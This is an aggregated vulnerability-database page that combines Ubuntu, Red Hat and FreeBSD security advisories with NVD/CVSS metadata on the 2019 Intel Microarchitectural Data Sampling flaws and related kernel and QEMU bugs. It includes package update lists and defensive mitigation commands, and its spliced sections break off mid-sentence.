Details:
Ke Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Giorgi Maisuradze, Dan Horea Lutas, Andrei Lutas, Volodymyr Pikhur, Stephan van Schaik, Alyssa Milburn, Sebastian \xd6sterlund, Pietro Frigo, Kaveh Razavi, Herbert Bos, Cristiano Giuffrida, Moritz Lipp, Michael Schwarz, and Daniel Gruss discovered that memory previously stored in microarchitectural fill buffers of an Intel CPU core may be exposed to a malicious process that is executing on the same CPU core. A local attacker could use this to expose sensitive information. (CVE-2018-12130)
Brandon Falk, Ke Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Stephan van Schaik, Alyssa Milburn, Sebastian \xd6sterlund, Pietro Frigo, Kaveh Razavi, Herbert Bos, and Cristiano Giuffrida discovered that memory previously stored in microarchitectural load ports of an Intel CPU core may be exposed to a malicious process that is executing on the same CPU core. A local attacker could use this to expose sensitive information. (CVE-2018-12127)
Ke Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Marina Minkin, Daniel Moghimi, Moritz Lipp, Michael Schwarz, Jo Van Bulck, Daniel Genkin, Daniel Gruss, Berk Sunar, Frank Piessens, and Yuval Yarom discovered that memory previously stored in microarchitectural store buffers of an Intel CPU core may be exposed to a malicious process that is executing on the same CPU core. A local attacker could use this to expose sensitive information. (CVE-2018-12126)
Ke Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Volodrmyr Pikhur, Moritz Lipp, Michael Schwarz, Daniel Gruss, Stephan van Schaik, Alyssa Milburn, Sebastian \xd6sterlund, Pietro Frigo, Kaveh Razavi, Herbert Bos, and Cristiano Giuffrida discovered that uncacheable memory previously stored in microarchitectural buffers of an Intel CPU core may be exposed to a malicious process that is executing on the same CPU core. A local attacker could use this to expose sensitive information. (CVE-2019-11091)
It was discovered that the IPv4 generic receive offload (GRO) for UDP implementation in the Linux kernel did not properly handle padded packets. A remote attacker could use this to cause a denial of service (system crash). (CVE-2019-11683)
It was discovered that a race condition existed in the Binder IPC driver for the Linux kernel. A local attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code. (CVE-2019-1999)
Matteo Croce, Natale Vinto, and Andrea Spagnolo discovered that the cgroups subsystem of the Linux kernel did not properly account for SCTP socket buffers. A local attacker could use this to cause a denial of service (system crash). (CVE-2019-3874)
Alex Williamson discovered that the vfio subsystem of the Linux kernel did not properly limit DMA mappings. A local attacker could use this to cause a denial of service (memory exhaustion). (CVE-2019-3882)
Marc Orr discovered that the KVM hypervisor implementation in the Linux kernel did not properly restrict APIC MSR register values when nested virtualization is used. An attacker in a guest vm could use this to cause a denial of service (host OS crash). (CVE-2019-3887)
Hugues Anguelkov discovered that the Broadcom Wifi driver in the Linux kernel contained a head puffer overflow. A physically proximate attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code. (CVE-2019-9500)
Hugues Anguelkov discovered that the Broadcom Wifi driver in the Linux kernel did not properly prevent remote firmware events from being processed for USB Wifi devices. A physically proximate attacker could use this to send firmware events to the device. (CVE-2019-9503)
Update instructions:
The problem can be corrected by updating your system to the following package versions:
Ubuntu 19.04: linux-image-5.0.0-1006-aws 5.0.0-1006.6 linux-image-5.0.0-1006-azure 5.0.0-1006.6 linux-image-5.0.0-1006-gcp 5.0.0-1006.6 linux-image-5.0.0-1006-kvm 5.0.0-1006.6 linux-image-5.0.0-1008-raspi2 5.0.0-1008.8 linux-image-5.0.0-15-generic 5.0.0-15.16 linux-image-5.0.0-15-generic-lpae 5.0.0-15.16 linux-image-5.0.0-15-lowlatency 5.0.0-15.16 linux-image-aws 5.0.0.1006.6 linux-image-azure 5.0.0.1006.6 linux-image-gcp 5.0.0.1006.6 linux-image-generic 5.0.0.15.16 linux-image-generic-lpae 5.0.0.15.16 linux-image-gke 5.0.0.1006.6 linux-image-kvm 5.0.0.1006.6 linux-image-lowlatency 5.0.0.15.16 linux-image-raspi2 5.0.0.1008.5 linux-image-virtual 5.0.0.15.16
After a standard system update you need to reboot your computer to make all the necessary changes.
Please note that fully mitigating the Microarchitectural Data Sampling (MDS) issues (CVE-2018-12126, CVE-2018-12127, CVE-2018-12130, and CVE-2019-11091) requires corresponding processor microcode/firmware updates or, in virtual environments, hypervisor updates. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
===================================================================== Red Hat Security Advisory
Synopsis: Important: libvirt security update Advisory ID: RHSA-2019:1180-01 Product: Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2019:1180 Issue date: 2019-05-14 CVE Names: CVE-2018-12126 CVE-2018-12127 CVE-2018-12130 CVE-2019-11091 =====================================================================
- Summary:
An update for libvirt is now available for Red Hat Enterprise Linux 6.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- Relevant releases/architectures:
Red Hat Enterprise Linux Desktop (v. 6) - i386, x86_64 Red Hat Enterprise Linux Desktop Optional (v. 6) - i386, x86_64 Red Hat Enterprise Linux HPC Node (v. 6) - x86_64 Red Hat Enterprise Linux HPC Node Optional (v. 6) - x86_64 Red Hat Enterprise Linux Server (v. 6) - i386, ppc64, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 6) - x86_64 Red Hat Enterprise Linux Workstation (v. 6) - i386, x86_64 Red Hat Enterprise Linux Workstation Optional (v. 6) - x86_64
- Description:
The libvirt library contains a C API for managing and interacting with the virtualization capabilities of Linux and other operating systems. In addition, libvirt provides tools for remote management of virtualized systems.
Security Fix(es):
-
A flaw was found in the implementation of the "fill buffer", a mechanism used by modern CPUs when a cache-miss is made on L1 CPU cache. If an attacker can generate a load operation that would create a page fault, the execution will continue speculatively with incorrect data from the fill buffer while the data is fetched from higher level caches. This response time can be measured to infer data in the fill buffer. (CVE-2018-12130)
-
Modern Intel microprocessors implement hardware-level micro-optimizations to improve the performance of writing data back to CPU caches. The write operation is split into STA (STore Address) and STD (STore Data) sub-operations. These sub-operations allow the processor to hand-off address generation logic into these sub-operations for optimized writes. Both of these sub-operations write to a shared distributed processor structure called the 'processor store buffer'. As a result, an unprivileged attacker could use this flaw to read private data resident within the CPU's processor store buffer. (CVE-2018-12126)
-
Microprocessors use a ‘load port’ subcomponent to perform load operations from memory or IO. During a load operation, the load port receives data from the memory or IO subsystem and then provides the data to the CPU registers and operations in the CPU’s pipelines. Stale load operations results are stored in the 'load port' table until overwritten by newer operations. Certain load-port operations triggered by an attacker can be used to reveal data about previous stale requests leaking data back to the attacker via a timing side-channel. (CVE-2019-11091)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Solution:
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
After installing the updated packages, libvirtd will be restarted automatically.
- Bugs fixed (https://bugzilla.redhat.com/):
1646781 - CVE-2018-12126 hardware: Microarchitectural Store Buffer Data Sampling (MSBDS) 1646784 - CVE-2018-12130 hardware: Microarchitectural Fill Buffer Data Sampling (MFBDS) 1667782 - CVE-2018-12127 hardware: Micro-architectural Load Port Data Sampling - Information Leak (MLPDS) 1705312 - CVE-2019-11091 hardware: Microarchitectural Data Sampling Uncacheable Memory (MDSUM)
- Package List:
Red Hat Enterprise Linux Desktop (v. 6):
Source: libvirt-0.10.2-64.el6_10.1.src.rpm
i386: libvirt-0.10.2-64.el6_10.1.i686.rpm libvirt-client-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-python-0.10.2-64.el6_10.1.i686.rpm
x86_64: libvirt-0.10.2-64.el6_10.1.x86_64.rpm libvirt-client-0.10.2-64.el6_10.1.i686.rpm libvirt-client-0.10.2-64.el6_10.1.x86_64.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm libvirt-python-0.10.2-64.el6_10.1.x86_64.rpm
Red Hat Enterprise Linux Desktop Optional (v. 6):
i386: libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-devel-0.10.2-64.el6_10.1.i686.rpm
x86_64: libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm libvirt-devel-0.10.2-64.el6_10.1.i686.rpm libvirt-devel-0.10.2-64.el6_10.1.x86_64.rpm libvirt-lock-sanlock-0.10.2-64.el6_10.1.x86_64.rpm
Red Hat Enterprise Linux HPC Node (v. 6):
Source: libvirt-0.10.2-64.el6_10.1.src.rpm
x86_64: libvirt-0.10.2-64.el6_10.1.x86_64.rpm libvirt-client-0.10.2-64.el6_10.1.i686.rpm libvirt-client-0.10.2-64.el6_10.1.x86_64.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm libvirt-python-0.10.2-64.el6_10.1.x86_64.rpm
Red Hat Enterprise Linux HPC Node Optional (v. 6):
x86_64: libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm libvirt-devel-0.10.2-64.el6_10.1.i686.rpm libvirt-devel-0.10.2-64.el6_10.1.x86_64.rpm libvirt-lock-sanlock-0.10.2-64.el6_10.1.x86_64.rpm
Red Hat Enterprise Linux Server (v. 6):
Source: libvirt-0.10.2-64.el6_10.1.src.rpm
i386: libvirt-0.10.2-64.el6_10.1.i686.rpm libvirt-client-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-devel-0.10.2-64.el6_10.1.i686.rpm libvirt-python-0.10.2-64.el6_10.1.i686.rpm
ppc64: libvirt-0.10.2-64.el6_10.1.ppc64.rpm libvirt-client-0.10.2-64.el6_10.1.ppc.rpm libvirt-client-0.10.2-64.el6_10.1.ppc64.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.ppc.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.ppc64.rpm libvirt-devel-0.10.2-64.el6_10.1.ppc.rpm libvirt-devel-0.10.2-64.el6_10.1.ppc64.rpm libvirt-python-0.10.2-64.el6_10.1.ppc64.rpm
s390x: libvirt-0.10.2-64.el6_10.1.s390x.rpm libvirt-client-0.10.2-64.el6_10.1.s390.rpm libvirt-client-0.10.2-64.el6_10.1.s390x.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.s390.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.s390x.rpm libvirt-devel-0.10.2-64.el6_10.1.s390.rpm libvirt-devel-0.10.2-64.el6_10.1.s390x.rpm libvirt-python-0.10.2-64.el6_10.1.s390x.rpm
x86_64: libvirt-0.10.2-64.el6_10.1.x86_64.rpm libvirt-client-0.10.2-64.el6_10.1.i686.rpm libvirt-client-0.10.2-64.el6_10.1.x86_64.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm libvirt-devel-0.10.2-64.el6_10.1.i686.rpm libvirt-devel-0.10.2-64.el6_10.1.x86_64.rpm libvirt-python-0.10.2-64.el6_10.1.x86_64.rpm
Red Hat Enterprise Linux Server Optional (v. 6):
x86_64: libvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm libvirt-lock-sanlock-0.10.2-64.el6_10.1.x86_64.rpm
Red Hat Enterprise Linux Workstation (v. 6):
Source: libvirt-0.10.2-64.el6_10.1.src.rpm
i386: libvirt-0.10.2-64.el6_10.1.i686.rpm libvirt-client-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-devel-0.10.2-64.el6_10.1.i686.rpm libvirt-python-0.10.2-64.el6_10.1.i686.rpm
x86_64: libvirt-0.10.2-64.el6_10.1.x86_64.rpm libvirt-client-0.10.2-64.el6_10.1.i686.rpm libvirt-client-0.10.2-64.el6_10.1.x86_64.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm libvirt-devel-0.10.2-64.el6_10.1.i686.rpm libvirt-devel-0.10.2-64.el6_10.1.x86_64.rpm libvirt-python-0.10.2-64.el6_10.1.x86_64.rpm
Red Hat Enterprise Linux Workstation Optional (v. 6):
x86_64: libvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm libvirt-lock-sanlock-0.10.2-64.el6_10.1.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2018-12126 https://access.redhat.com/security/cve/CVE-2018-12127 https://access.redhat.com/security/cve/CVE-2018-12130 https://access.redhat.com/security/cve/CVE-2019-11091 https://access.redhat.com/security/vulnerabilities/mds https://access.redhat.com/security/updates/classification/#important
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
Copyright 2019 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1
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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . 6) - i386, x86_64
- Description:
Kernel-based Virtual Machine (KVM) is a full virtualization solution for Linux on a variety of architectures. The qemu-kvm packages provide the user-space component for running virtual machines that use KVM. Once all virtual machines have shut down, start them again for this update to take effect. These packages include redhat-release-virtualization-host, ovirt-node, and rhev-hypervisor. RHVH features a Cockpit user interface for monitoring the host's resources and performing administrative tasks. These packages include redhat-release-virtualization-host, ovirt-node, and rhev-hypervisor. RHVH features a Cockpit user interface for monitoring the host's resources and performing administrative tasks. Affects: All supported versions of FreeBSD. Corrected: 2019-05-14 17:04:00 UTC (stable/12, 12.0-STABLE) 2019-05-14 23:19:08 UTC (releng/12.0, 12.0-RELEASE-p4) 2019-05-14 17:05:02 UTC (stable/11, 11.3-PRERELEASE) 2019-05-14 23:20:16 UTC (releng/11.2, 11.2-RELEASE-p10) CVE Name: CVE-2018-12126, CVE-2018-12127, CVE-2018-12130, CVE-2019-11091
For general information regarding FreeBSD Security Advisories, including descriptions of the fields above, security branches, and the following sections, please visit . Background
Modern processors make use of speculative execution, an optimization technique which performs some action in advance of knowing whether the result will actually be used.
II.
III. Impact
An attacker may be able to read secret data from the kernel or from a process when executing untrusted code (for example, in a web browser).
IV. Workaround
No workaround is available.
Systems with users or processors in different trust domains should disable Hyper-Threading by setting the machdep.hyperthreading_allowed tunable to 0:
echo 'machdep.hyperthreading_allowed=0 >> /boot/loader.conf'
shutdown
V. Solution
Perform one of the following:
Update CPU microcode, upgrade your vulnerable system to a supported FreeBSD stable or release / security branch (releng) dated after the correction date, evaluate mitigation and Hyper Threading controls, and reboot the system.
New CPU microcode may be available in a BIOS update from your system vendor, or by installing the devcpu-data package or sysutils/devcpu-data port. Ensure that the BIOS update or devcpu-data package is dated after 2014-05-14.
If using the package or port the microcode update can be applied at boot time by adding the following lines to the system's /boot/loader.conf:
cpu_microcode_load="YES" cpu_microcode_name="/boot/firmware/intel-ucode.bin"
Microcode updates can also be applied while the system is running. See cpucontrol(8) for details.
1) To update your vulnerable system via a binary patch:
Systems running a RELEASE version of FreeBSD on the i386 or amd64 platforms can be updated via the freebsd-update(8) utility:
freebsd-update fetch
freebsd-update install
Follow additional details under "Mitigation Configuration" below.
2) To update your vulnerable system via a source code patch:
The following patches have been verified to apply to the applicable FreeBSD release branches.
a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility.
[FreeBSD 12.0-STABLE]
fetch https://security.FreeBSD.org/patches/SA-19:07/mds.12-stable.patch
fetch https://security.FreeBSD.org/patches/SA-19:07/mds.12-stable.patch.asc
gpg --verify mds.12-stable.patch.asc
[FreeBSD 12.0-RELEASE]
fetch https://security.FreeBSD.org/patches/SA-19:07/mds.12.0.patch
fetch https://security.FreeBSD.org/patches/SA-19:07/mds.12.0.patch.asc
gpg --verify mds.12.0.patch.asc
[FreeBSD 11.3-PRERELEASE]
fetch https://security.FreeBSD.org/patches/SA-19:07/mds.11-stable.patch
fetch https://security.FreeBSD.org/patches/SA-19:07/mds.11-stable.patch.asc
gpg --verify mds.11-stable.patch.asc
[FreeBSD 11.2-RELEASE]
fetch https://security.FreeBSD.org/patches/SA-19:07/mds.11.2.patch
fetch https://security.FreeBSD.org/patches/SA-19:07/mds.11.2.patch.asc
gpg --verify mds.11.2.patch.asc
b) Apply the patch. Execute the following commands as root:
cd /usr/src
patch < /path/to/patch
c) Recompile your kernel as described in .
Mitigation Configuration
Systems with users, processes, or virtual machines in different trust domains should disable Hyper-Threading by setting the machdep.hyperthreading_allowed tunable to 0:
echo machdep.hyperthreading_allowed=0 >> /boot/loader.conf
To activate the MDS mitigation set the hw.mds_disable sysctl. The settings are:
0 - mitigation disabled 1 - VERW instruction (microcode) mitigation enabled 2 - Software sequence mitigation enabled (not recommended) 3 - Automatic VERW or Software selection
Automatic mode uses the VERW instruction if supported by the CPU / microcode, or software sequences if not. To enable automatic mode at boot:
echo hw.mds_disable=3 >> /etc/sysctl.conf
Reboot the system:
shutdown -r +10min "Security update"
Check the mitigation status:
sysctl hw.mds_disable_state
hw.mds_disable_state: software Silvermont
VI. Correction details
The following list contains the correction revision numbers for each affected branch.
Branch/path Revision
stable/12/ r347567 releng/12.0/ r346594 stable/11/ r347568 releng/11.2/ r347595
To see which files were modified by a particular revision, run the following command, replacing NNNNNN with the revision number, on a machine with Subversion installed:
svn diff -cNNNNNN --summarize svn://svn.freebsd.org/base
Or visit the following URL, replacing NNNNNN with the revision number:
VII
Show details on source website{
"affected_products": {
"_id": null,
"data": [
{
"_id": null,
"model": "fedora",
"scope": "eq",
"trust": 1.0,
"vendor": "fedoraproject",
"version": "29"
},
{
"_id": null,
"model": "microarchitectural load port data sampling",
"scope": "eq",
"trust": 1.0,
"vendor": "intel",
"version": null
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2018-12127"
}
]
},
"credits": {
"_id": null,
"data": "Red Hat",
"sources": [
{
"db": "PACKETSTORM",
"id": "152926"
},
{
"db": "PACKETSTORM",
"id": "154188"
},
{
"db": "PACKETSTORM",
"id": "153248"
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{
"db": "PACKETSTORM",
"id": "152931"
},
{
"db": "PACKETSTORM",
"id": "152880"
},
{
"db": "PACKETSTORM",
"id": "152878"
},
{
"db": "PACKETSTORM",
"id": "152920"
}
],
"trust": 0.7
},
"cve": "CVE-2018-12127",
"cvss": {
"_id": null,
"data": [
{
"cvssV2": [
{
"accessComplexity": "MEDIUM",
"accessVector": "LOCAL",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 4.7,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 3.4,
"id": "CVE-2018-12127",
"impactScore": 6.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 1.1,
"vectorString": "AV:L/AC:M/Au:N/C:C/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "LOCAL",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 4.7,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 3.4,
"id": "VHN-122055",
"impactScore": 6.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:L/AC:M/AU:N/C:C/I:N/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 5.6,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 1.1,
"id": "CVE-2018-12127",
"impactScore": 4.0,
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2018-12127",
"trust": 1.0,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201905-622",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-122055",
"trust": 0.1,
"value": "MEDIUM"
},
{
"author": "VULMON",
"id": "CVE-2018-12127",
"trust": 0.1,
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],
"sources": [
{
"db": "VULHUB",
"id": "VHN-122055"
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{
"db": "VULMON",
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{
"db": "CNNVD",
"id": "CNNVD-201905-622"
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{
"db": "NVD",
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},
"description": {
"_id": null,
"data": "Microarchitectural Load Port Data Sampling (MLPDS): Load ports on some microprocessors utilizing speculative execution may allow an authenticated user to potentially enable information disclosure via a side channel with local access. A list of impacted products can be found here: https://www.intel.com/content/dam/www/public/us/en/documents/corporate-information/SA00233-microcode-update-guidance_05132019.pdf. Intel Xeon Scalable Processors are all products of Intel Corporation of the United States. Intel Xeon Scalable Processors are a scalable server central processing unit (CPU). Intel Xeon Processor E7 v4 Family is a Xeon E7 series server central processing unit (CPU). Intel Xeon Processor E5 v4 Family is a Xeon E5 series server central processing unit (CPU). Information disclosure vulnerabilities exist in several Intel products. This vulnerability stems from configuration errors in network systems or products during operation. The following products and versions are affected: Intel Xeon Scalable Processors; Xeon Processor E7 v4 Family; Xeon Processor E5 v4 Family; Xeon Processor E3 v6 Family; Xeon Processor E3 v4 Family; Xeon Processor E; Xeon E Processor; Xeon D Processor; Puma; Pentium Processor Silver Series; Pentium Processor N Series; Pentium Processor J Series; Pentium Gold Processor Series; Mobile Communications Platforms; Microcode; Core X series Processors; Celeron Processor N Series; Celeron Processor J Series; Celeron Processor G Series; Atom Processor X Series ;Atom Processor E3900 Series;Atom Processor E3800 Series;Atom Processor. \nThe vulnerability is due to improper memory operations that could expose a side channel on the affected system. A successful exploit could be used to conduct further attacks. \nProof-of-concept (PoC) code that demonstrates an exploit of this vulnerability is publicly available. \nIntel has confirmed the vulnerability and released software updates. VDSM manages and monitors the host\u0027s storage, memory and\nnetworks as well as virtual machine creation, other host administration\ntasks, statistics gathering, and log collection. (CVE-2019-11091)\n\n* QEMU: device_tree: heap buffer overflow while loading device tree blob\n(CVE-2018-20815)\n\n* QEMU: rtl8139: integer overflow leads to buffer overflow (CVE-2018-17958)\n\n* QEMU: net: ignore packets with large size (CVE-2018-17963)\n\n* QEMU: scsi-generic: possible OOB access while handling inquiry request\n(CVE-2019-6501)\n\n* QEMU: slirp: information leakage in tcp_emu() due to uninitialized stack\nvariables (CVE-2019-9824)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. \n\nAdditional Changes:\n\nThis update also fixes several bugs and adds various enhancements. \nDocumentation for these changes is available from the Release Notes\ndocument linked to in the References section. Bugs fixed (https://bugzilla.redhat.com/):\n\n1508708 - [data plane] Qemu-kvm core dumped when doing block-stream and block-job-cancel to a data disk with data-plane enabled\n1526313 - Improve QEMU lock error info for hot-plugging same qcow2 image file twice in different target to VM\n1531888 - Local VM and migrated VM on the same host can run with same RAW file as visual disk source while without shareable configured or lock manager enabled\n1551486 - QEMU image locking needn\u0027t double open fd number (i.e. drop file-posix.c:s-\u003elock_fd)\n1585155 - QEMU core dumped when hotplug memory exceeding host hugepages and with discard-data=yes\n1597482 - qemu crashed when disk enable the IOMMU\n1598119 - \"share-rw=on\" does not work for luks format image\n1603104 - Qemu Aborted (core dumped) for \u0027qemu-kvm: Failed to lock byte 100\u0027 when remote NFS or GlusterFS volume stopped during the block mirror(or block commit/stream) process\n1607768 - qemu aborted when start guest with a big iothreads\n1608226 - [virtual-network][mq] prompt warning \"qemu-kvm: unable to start vhost net: 14: falling back on userspace virtio\" when boot with win8+ guests with multi-queue\n1610461 - High Host CPU load for Windows 10 Guests (Update 1803) when idle\n1614302 - qemu-kvm: Could not find keytab file: /etc/qemu/krb5.tab: No such file or directory\n1614610 - Guest quit with error when hotunplug cpu\n1619778 - Ballooning is incompatible with vfio assigned devices, but not prevented\n1620373 - Failed to do migration after hotplug and hotunplug the ivshmem device\n1623986 - block-commit can\u0027t be used with -blockdev\n1624009 - allow backing of pflash via -blockdev\n1627272 - boot guest with q35+vIOMMU+ device assignment, qemu crash when return assigned network devices from vfio driver to ixgbe in guest\n1628098 - [Intel 7.7 BUG][KVM][Crystal Ridge]object_get_canonical_path_component: assertion failed: (obj-\u003eparent != NULL)\n1629056 - qemu NBD server failure with block status of dirty bitmaps\n1629717 - qemu_ram_mmap: Assertion `is_power_of_2(align)\u0027 failed\n1629720 - [Intel 7.6 BUG][Crystal Ridge] pc_dimm_get_free_addr: assertion failed: (QEMU_ALIGN_UP(address_space_start, align) == address_space_start)\n1631052 - x-block-dirty-bitmap-merge into a disabled bitmap dest causes assert\n1631227 - Qemu Core dump when quit vm that\u0027s in status \"paused(io-error)\" with data plane enabled\n1631615 - Wrong werror default for -device drive=\u003cnode-name\u003e\n1631877 - qemu dirty bitmap merge fails to update count\n1633150 - Cross migration from RHEL7.5 to RHEL7.6 fails with cpu flag stibp\n1633536 - Qemu core dump when do migration after hot plugging a backend image with \u0027blockdev-add\u0027(without the frontend)\n1636712 - CVE-2018-17958 QEMU: rtl8139: integer overflow leads to buffer overflow\n1636777 - CVE-2018-17963 QEMU: net: ignore packets with large size\n1642551 - qemu-kvm-tools-rhev depends on libxkbcommon, but the RPM-level dependency is missing\n1646781 - CVE-2018-12126 hardware: Microarchitectural Store Buffer Data Sampling (MSBDS)\n1646784 - CVE-2018-12130 hardware: Microarchitectural Fill Buffer Data Sampling (MFBDS)\n1648236 - QEMU doesn\u0027t expose rendernode option for egl-headless display type\n1656913 - qcow2 cache is too small\n1666336 - severe performance impact using encrypted Cinder volume (QEMU luks)\n1666884 - persistent bitmaps prevent qcow2 image resize\n1667320 - -blockdev: auto-read-only is ineffective for drivers on read-only whitelist\n1667782 - CVE-2018-12127 hardware: Micro-architectural Load Port Data Sampling - Information Leak (MLPDS)\n1668160 - CVE-2019-6501 QEMU: scsi-generic: possible OOB access while handling inquiry request\n1668956 - incremental backup bitmap API needs a finalized interface\n1672010 - [RHEL7]Qemu coredump when remove a persistent bitmap after vm re-start(dataplane enabled)\n1673080 - \"An unknown error has occurred\" when using cdrom to install the system with two blockdev disks.(when choose installation destination)\n1673397 - [RHEL.7] qemu-kvm core dumped after hotplug the deleted disk with iothread parameter\n1673402 - Qemu core dump when start guest with two disks using same drive\n1676728 - RHEL77: Run iotests as part of build process\n1677073 - Backport additional QEMU 4.0 Bitmap API changes to RHEL 7.7\n1678515 - CVE-2019-9824 QEMU: slirp: information leakage in tcp_emu() due to uninitialized stack variables\n1685989 - Add facility to use block jobs with backing images without write permission\n1691009 - NBD pull mode incremental backup API needs a finalized interface\n1691018 - Fix iotest 226 for local development builds\n1691048 - Add qemu-img info support for querying bitmaps offline\n1691563 - QEMU NBD Feature parity roundup (QEMU 3.1.0)\n1692018 - qemu-img: Protocol error: simple reply when structured reply chunk was expected\n1693101 - CVE-2018-20815 QEMU: device_tree: heap buffer overflow while loading device tree blob\n1703916 - Qemu core dump when quit vm after forbidden to do backup with a read-only bitmap\n1705312 - CVE-2019-11091 hardware: Microarchitectural Data Sampling Uncacheable Memory (MDSUM)\n1714160 - Guest with \u0027reservations\u0027 for a disk start failed\n\n6. \n(CVE-2018-12126)\n\nVasily Averin and Evgenii Shatokhin discovered that a use-after-free\nvulnerability existed in the NFS41+ subsystem when multiple network\nnamespaces are in use. \n\nSoftware Description:\n- intel-microcode: Processor microcode for Intel CPUs\n\nDetails:\n\nUSN-3977-1 and USN-3977-2 provided mitigations for Microarchitectural\nData Sampling (MDS) vulnerabilities in Intel Microcode for a\nlarge number of Intel processor families. Relevant releases/architectures:\n\nRHV-M 4.2 - noarch\n\n3. \nIt includes the configuration of the Red Hat Support plugin, copying\ndownstream-only artifacts to the ISO domain, and links to the knowledgebase\nand other support material. ==========================================================================\nUbuntu Security Notice USN-3979-1\nMay 14, 2019\n\nlinux, linux-aws, linux-azure, linux-gcp, linux-kvm, linux-raspi2 vulnerabilities\n==========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 19.04\n\nSummary:\n\nSeveral security issues were fixed in the Linux kernel. \n\nSoftware Description:\n- linux: Linux kernel\n- linux-aws: Linux kernel for Amazon Web Services (AWS) systems\n- linux-azure: Linux kernel for Microsoft Azure Cloud systems\n- linux-gcp: Linux kernel for Google Cloud Platform (GCP) systems\n- linux-kvm: Linux kernel for cloud environments\n- linux-raspi2: Linux kernel for Raspberry Pi 2\n\nDetails:\n\nKe Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Giorgi Maisuradze, Dan\nHorea Lutas, Andrei Lutas, Volodymyr Pikhur, Stephan van Schaik, Alyssa\nMilburn, Sebastian \\xd6sterlund, Pietro Frigo, Kaveh Razavi, Herbert Bos,\nCristiano Giuffrida, Moritz Lipp, Michael Schwarz, and Daniel Gruss\ndiscovered that memory previously stored in microarchitectural fill buffers\nof an Intel CPU core may be exposed to a malicious process that is\nexecuting on the same CPU core. A local attacker could use this to expose\nsensitive information. (CVE-2018-12130)\n\nBrandon Falk, Ke Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Stephan\nvan Schaik, Alyssa Milburn, Sebastian \\xd6sterlund, Pietro Frigo, Kaveh\nRazavi, Herbert Bos, and Cristiano Giuffrida discovered that memory\npreviously stored in microarchitectural load ports of an Intel CPU core may\nbe exposed to a malicious process that is executing on the same CPU core. A\nlocal attacker could use this to expose sensitive information. \n(CVE-2018-12127)\n\nKe Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Marina Minkin, 